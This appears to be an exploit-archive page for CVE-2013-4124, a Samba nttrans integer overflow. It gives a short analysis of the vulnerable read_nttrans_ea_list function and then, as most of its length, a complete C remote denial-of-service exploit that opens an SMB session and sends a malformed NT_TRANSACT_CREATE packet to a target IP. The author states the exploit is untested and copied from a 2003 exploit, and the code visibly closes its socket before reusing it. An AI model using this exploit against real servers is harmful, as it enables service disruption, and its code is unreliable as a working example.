扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 |
Exploitation: samba nttrans reply integer overflow ______ / _ \/ _ \ ____| (_) || | | |___ \ \/ / \__. || | | | / __| ></ / | |_| || (__ /_/\_\/_/ \___/\___| CVE-2013-4124 samba integer overflow in nttrans reply reading ea_list vulnerable samba daemon has a integer overflow to cause remote dos by nttrans reply while the daemon reading ea_list. In the detail, unsigned data type offset variable in vulnerable function of read_nttrans_ea_list can be wrap up! security bug! x90c [vulnerable versions] - samba 3.5.22 <= - samba 3.6.17 <= - samba 4.0.8 <= [call graph] +reply_nttrans // reply nttrans +->handle_nttrans +-> call_nt_transact_create // transact! -> read_nttrns_ea_list(vulnerable function) [security bug analyze] smbd/nttrans.c ---- snip ---- snip ---- snip ---- snip ---- 971 /**************************************************************************** 972Read a list of EA names and data from an incoming data buffer. Create an ea_list with them. 973 ****************************************************************************/ 974 EA names, data from samba incoming buffer! 975 struct ea_list *read_nttrans_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size) // *pdata is inject vector 976 { 977 struct ea_list *ea_list_head = NULL; 978 size_t offset = 0; // unisigned 979 980 if (data_size < 4) { 981 return NULL; 982 } 983 984 while (offset + 4 <= data_size) { // XXX (3) if offset is wrap up then it enters the loop continuly 985 size_t next_offset = IVAL(pdata,offset); // unsigned XXX (1) if next_offset from pdata pointer is much large value then to lead integer wrap! // XXX (4) may memory corruption point! if offset is wrap up then second argv pointer(pdata+offset+4) pointers around zero memory then smb dos! 986 struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset + 4, data_size - offset - 4, NULL); 987 988 if (!eal) { 989 return NULL; 990 } 991 992 DLIST_ADD_END(ea_list_head, eal, struct ea_list *); 993 if (next_offset == 0) { 994 break; 995 } 996 997 /* Integer wrap protection for the increment. */ // XXX patch code 998 if (offset + next_offset < offset) { 999 break; 1000 } 1001 1002 offset += next_offset; // XXX (2) if next_offset is large value then offset is wrap! 1003 1004 /* Integer wrap protection for while loop. */ // XXX patch code 1005 if (offset + 4 < offset) { 1006 break; 1007 } 1008 1009 } 1010 1011 return ea_list_head; 1012 } ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 1014 /**************************************************************************** 1015Reply to a NT_TRANSACT_CREATE call (needs to process SD's). 1016 ****************************************************************************/ 1017 1018 static void call_nt_transact_create(connection_struct *conn, 1019 struct smb_request *req, 1020 uint16 **ppsetup, uint32 setup_count, 1021 char **ppparams, uint32 parameter_count, 1022 char **ppdata, uint32 data_count, 1023 uint32 max_data_count) 1024 { ... 1148 /* We have already checked that ea_len <= data_count here. */ 1149 ea_list = read_nttrans_ea_list(talloc_tos(), data + sd_len, 1150ea_len); ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 2639 static void handle_nttrans(connection_struct *conn, 2640struct trans_state *state, 2641struct smb_request *req) 2642 { ... 2651 /* Now we must call the relevant NT_TRANS function */ 2652 switch(state->call) { 2653 case NT_TRANSACT_CREATE: // NT_TRANSACT_CREATE! 2654 { 2655 START_PROFILE(NT_transact_create); 2656 call_nt_transact_create( 2657 conn, req, 2658 &state->setup, state->setup_count, 2659 &state->param, state->total_param, 2660 &state->data, state->total_data, 2661 state->max_data_return); 2662 END_PROFILE(NT_transact_create); 2663 break; 2664 } ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 2770 /**************************************************************************** 2771Reply to a SMBNTtrans. 2772 ****************************************************************************/ 2773 2774 void reply_nttrans(struct smb_request *req) // smb_request! 2775 { ... 2945 if ((state->received_data == state->total_data) && 2946 (state->received_param == state->total_param)) { 2947 handle_nttrans(conn, state, req); ---- snip ---- snip ---- snip ---- snip ---- [exploitability] * keywords: - samba incoming data - EA names - data - 0xf1000000 - SMB NTTRANS - Samba reply_nttrans() Remote Root Exploit (http://www.securiteam.com/exploits/5TP0M2AAKS.html) - SMB_COM_NT_TRANSACT(0xa0) = NTtrans (32-bit field) - SMBtrans - http://ubiqx.org/cifs/SMB.html The security bug is remote dos to a daemon, the impact is exist even though it's exploited on local network. If large local network exist and many samba on the network, security risk is exist. I assign the dos impact to medium, and the apache or wuftpd dos to high because they are can be exploited on internet /* !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! CVE-2013-4124 samba remote dos private exploit ./samba_nttrans_exploit [target ip addr] * ... test ...: I didn't test for the exploit, I copied another samba nttrans exploit in 2003 that http://www.securiteam.co m/exploits/5TP0M2AAKS.html. It should be works! the exploit send malformed nttrans smb packet with large value of data offset to cause integer wrap in the vulnerable function of read_nttrns_ea_list I left an article that analyzed it !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! x90c */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <ctype.h> #include <signal.h> typedef unsigned char uint8; typedef unsigned short uint16; typedef unsigned long uint32; struct variable_data_header { uint8 wordcount, bytecount[2]; }; struct nbt_session_header { uint8 type, flags, len[2]; }; struct smb_base_header { uint8 protocol[4], command, errorclass, reserved, errorcode[2]; uint8 flags; uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2]; }; struct negprot_reply_header { uint8 wordcount; uint8 dialectindex[2]; uint8 securitymode; uint16 maxmpxcount, maxvccount; uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh; uint16 timezone; uint8 keylen; uint16 bytecount; }; struct sesssetupx_request_header { uint8 wordcount, command, reserved; uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2]; uint8 sessionid[4]; uint8 ipasswdlen[2], passwdlen[2]; uint8 reserved2[4], capabilities[4]; }; struct sesssetupx_reply_header { uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2]; }; struct tconx_request_header { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2]; }; struct tconx_reply_header { uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2]; }; struct nttrans_primary_request_header { uint8 wordcount; uint8 maxsetupcount; uint8 flags[2]; uint8 totalparamcount[4]; uint8 totaldatacount[4]; uint8 maxparamcount[4]; uint8 maxdatacount[4]; uint8 paramcount[4]; uint8 paramoffset[4]; uint8 datacount[4]; uint8 dataoffset[4];// XXXX 0xf000000 uint8 setupcount; uint8 function[2]; uint8 bytecount[2]; }; #define SMB_NEGPROT 0x72 #define SMB_SESSSETUPX 0x73 #define SMB_TCONX 0x75 #define SMB_TRANS2 0x32 #define SMB_NTTRANS 0xA0 #define SMB_NTTRANSCREATE 0x01 #define SMB_TRANS2OPEN 0x00 #define SMB_SESSIONREQ 0x81 #define SMB_SESSION 0x00 uint32 sessionid, PARAMBASE = 0x81c0000; char *tconx_servername; int tid, pid, uid; #define STACKBOTTOM 0xbfffffff #define STACKBASE 0xbfffd000 #define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE)) char *netbios_encode_name(char *name, int type) { char plainname[16], c, *encoded, *ptr; int i, len = strlen(name); if ((encoded = malloc(34)) == NULL) { fprintf(stderr, "malloc() failed\n"); exit(-1); } ptr = encoded; strncpy(plainname, name, 15); *ptr++ = 0x20; for (i = 0; i < 16; i++) { if (i == 15) c = type; else { if (i < len) c = toupper(plainname[i]); else c = 0x20; } *ptr++ = (((c >> 4) & 0xf) + 0x41); *ptr++ = ((c & 0xf) + 0x41); } *ptr = '\0'; return encoded; } void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len) { struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr; uint16 nlen; // geen idee of dit de juiste manier is, maar 't lijkt wel te werken .. if (len > 65535) nlen = 65535; else nlen = htons(len); memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header)); nbt_hdr->type = type; nbt_hdr->flags = flags; memcpy(&nbt_hdr->len, &nlen, sizeof (uint16)); } // caller zorgt voor juiste waarde van ptr. void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, uint16 uid, uint16 mid) { struct smb_base_header *base_hdr = (struct smb_base_header *)ptr; memset(base_hdr, '\0', sizeof (struct smb_base_header)); memcpy(base_hdr->protocol, "\xffSMB", 4); base_hdr->command = command; base_hdr->flags = flags; memcpy(&base_hdr->flags2, &flags2, sizeof (uint16)); memcpy(&base_hdr->tid, &tid, sizeof (uint16)); memcpy(&base_hdr->pid, &pid, sizeof (uint16)); memcpy(&base_hdr->uid, &uid, sizeof (uint16)); memcpy(base_hdr->mid, &mid, sizeof (uint16)); } void construct_sesssetupx_header(char *ptr) { struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr; uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0; uint32 capabilities = 0x50; memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header)); sx_hdr->wordcount = 13; sx_hdr->command = 0xff; memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16)); memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16)); memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16)); memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32)); memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16)); memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16)); memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32)); } /* struct tconx_request_header { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2]; -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[]; }; */ void construct_tconx_header(char *ptr) { struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr; uint16 passwdlen = 1, bytecount; char *data; memset(tx_hdr, '\0', sizeof (struct tconx_request_header)); bytecount = strlen(tconx_servername) + 15; if ((data = malloc(bytecount)) == NULL) { fprintf(stderr, "malloc() failed, aborting!\n"); exit(-1); } memcpy(data, "\x00\x5c\x5c", 3); memcpy(data + 3, tconx_servername, strlen(tconx_servername)); memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12); tx_hdr->wordcount = 4; tx_hdr->xcommand = 0xff; memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16)); memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16)); memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount); } void nbt_session_request(int fd, char *clientname, char *servername) { char *cn, *sn; char packet[sizeof (struct nbt_session_header) + (34 * 2)]; construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header)); tconx_servername = servername; sn = netbios_encode_name(servername, 0x20); cn = netbios_encode_name(clientname, 0x00); memcpy(packet + sizeof (struct nbt_session_header), sn, 34); memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34); write(fd, packet, sizeof (packet)); close(fd); free(cn); free(sn); } void process_nbt_session_reply(int fd) { struct nbt_session_header nbt_hdr; char *errormsg; uint8 errorcode; int size, len = 0; if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1) { close(fd); fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } if (size != sizeof (nbt_hdr)) { close(fd); fprintf(stderr, "read() a broken packet, aborting.\n"); exit(-1); } memcpy(&len, &nbt_hdr.len, sizeof (uint16)); if (len) { read(fd, (void *)&errorcode, 1); close(fd); switch (errorcode) { case 0x80 : errormsg = "Not listening on called name"; break; case 0x81 : errormsg = "Not listening for calling name"; break; case 0x82 : errormsg = "Called name not present"; break; case 0x83 : errormsg = "Called name present, but insufficient resources"; break; case 0x8f : errormsg = "Unspecified error"; break; default : errormsg = "Unspecified error (unknown error code received!)"; break; } fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode); exit(-1); } printf("session request granted\n"); } void negprot_request(int fd) { struct variable_data_header data; char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \ "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR"; char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)]; int dlen = htons(sizeof (dialects)); memset(&data, '\0', sizeof (data)); construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header)); pid = getpid(); construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1); memcpy(&data.bytecount, &dlen, sizeof (uint16)); memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data)); memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), dialects, sizeof (dialects)); if (write(fd, packet, sizeof (packet)) == -1) { close(fd); fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } } void process_negprot_reply(int fd) { struct nbt_session_header *nbt_hdr; struct smb_base_header *base_hdr; struct negprot_reply_header *np_reply_hdr; char packet[1024]; int size; uint16 pid_reply; nbt_hdr = (struct nbt_session_header *)packet; base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header)); np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header))); if ((size = read(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16)); memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32)); if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid) { close(fd); fprintf(stderr, "protocol negotiation failed\n"); exit(-1); } printf("protocol negotiation complete\n"); } void sesssetupx_request(int fd) { uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61"; char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct sesssetupx_request_header) + sizeof (data)]; int size; construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header)); construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1); construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct sesssetupx_request_header), &data, sizeof (data)); if ((size = write(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } if (size != sizeof (packet)) { close(fd); fprintf(stderr, "couldn't write entire packet, aborting!\n"); exit(-1); } } void process_sesssetupx_reply(int fd) { struct nbt_session_header *nbt_hdr; struct smb_base_header *base_hdr; struct sesssetupx_reply_header *sx_hdr; char packet[1024]; int size, len; if ((size = read(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } nbt_hdr = (struct nbt_session_header *)packet; base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header)); sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); memcpy(&len, &nbt_hdr->len, sizeof (uint16)); memcpy(&uid, &base_hdr->uid, sizeof (uint16)); if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3) { close(fd); fprintf(stderr, "session setup failed\n"); exit(-1); } printf("session setup complete, got assigned uid %i\n", uid); } void tconx_request(int fd) { char *packet; int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15; if ((packet = malloc(pktsize)) == NULL) { close(fd); fprintf(stderr, "malloc() failed, aborting!\n"); exit(-1); } construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header)); construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1); construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); if ((size = write(fd, packet, pktsize)) == -1) { close(fd); fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } free(packet); if (size != pktsize) { close(fd); fprintf(stderr, "couldn't write entire packet, aborting!\n"); exit(-1); } } void process_tconx_reply(int fd) { struct nbt_session_header *nbt_hdr; struct smb_base_header *base_hdr; struct tconx_reply_header *tx_hdr; char packet[1024]; int size, bytecount; if ((size = read(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); exit(-errno); } nbt_hdr = (struct nbt_session_header *)packet; base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header)); tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); memcpy(&tid, &base_hdr->tid, sizeof (uint16)); memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16)); printf("tree connect complete, got assigned tid %i\n", tid); } void nttrans_request(int fd) { // packet = nbt session header + smb base header + nttrans header! char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct nttrans_primary_request_header)]; struct nttrans_primary_request_header nttrans_hdr;// nttrans header! int size=0; int function = SMB_NTTRANSCREATE;// NTTRANSCREATE! int totalparamcount = TOTALCOUNT; int totaldatacount = 0; uint8 setupcount = 0; memset(&nttrans_hdr, 0, sizeof nttrans_hdr); // construct nbt session header construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header)); // construct smb base header construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS, 8, 1, tid, pid, uid, 1); // construct nttrans header nttrans_hdr.paramoffset[0] = '\x00'; nttrans_hdr.paramoffset[1] = '\x00'; nttrans_hdr.paramoffset[2] = '\x10'; nttrans_hdr.paramoffset[3] = '\xff'; nttrans_hdr.dataoffset[0] = '\x00';// XXX data offset 0xff100000 to integer wrap nttrans_hdr.dataoffset[1] = '\x00';//the offset exploits the security bug of CVE-2013-4124 nttrans_hdr.dataoffset[2] = '\x10';//samba remote dos nttrans_hdr.dataoffset[3] = '\xff'; nttrans_hdr.wordcount = 19 + setupcount; memcpy(&nttrans_hdr.function, &function, sizeof (uint16)); memcpy(&nttrans_hdr.totalparamcount, &totalparamcount, sizeof (uint32)); memcpy(&nttrans_hdr.totaldatacount, &totaldatacount, sizeof (uint32)); memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nttrans_hdr, sizeof nttrans_hdr); // send samba packet! size = write(fd, packet, sizeof (packet)); close(fd); } static char banner[]={ "______\n" \ " / _ \\/ _ \\ \n" \ "____| (_) || | | |___ \n" \ "\\ \\/ / \\__. || | | | / __| \n" \ " ></ / | |_| || (__ \n" \ "/_/\\_\\/_/ \\___/\\___|\n" \ }; int main(int argc, char *argv[]) { int fd; struct sockaddr_in s_in; char target_ip[16]; int smb_port=139; printf("%s\n\nsamba nttrans reply exploit\n\n", banner); if(argc < 2){ fprintf(stderr, "samba nttrans reply exploit Usage:\n\n./samba_exploit [target ip addr]\n\n"); exit(-1); } strncpy(target_ip, argv[1], 16); memset(&s_in, 0, sizeof (s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(smb_port);// samba port=139/tcp s_in.sin_addr.s_addr = inet_addr(target_ip); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)); // nbt(netbios over tcpip, nbtstat) session request nbt_session_request(fd, "BOSSA", "SAMBA");// adjust computer names(clientname, servername) process_nbt_session_reply(fd); // protocol negotiation negprot_request(fd); process_negprot_reply(fd); // session setup sesssetupx_request(fd);// setup request process_sesssetupx_reply(fd);// setup reply // tree connection setup tconx_request(fd); process_tconx_reply(fd); // exploit! printf("[*] nttrans reply exploit!\n"); nttrans_request(fd); close(fd); return 0; } |
体验盒子
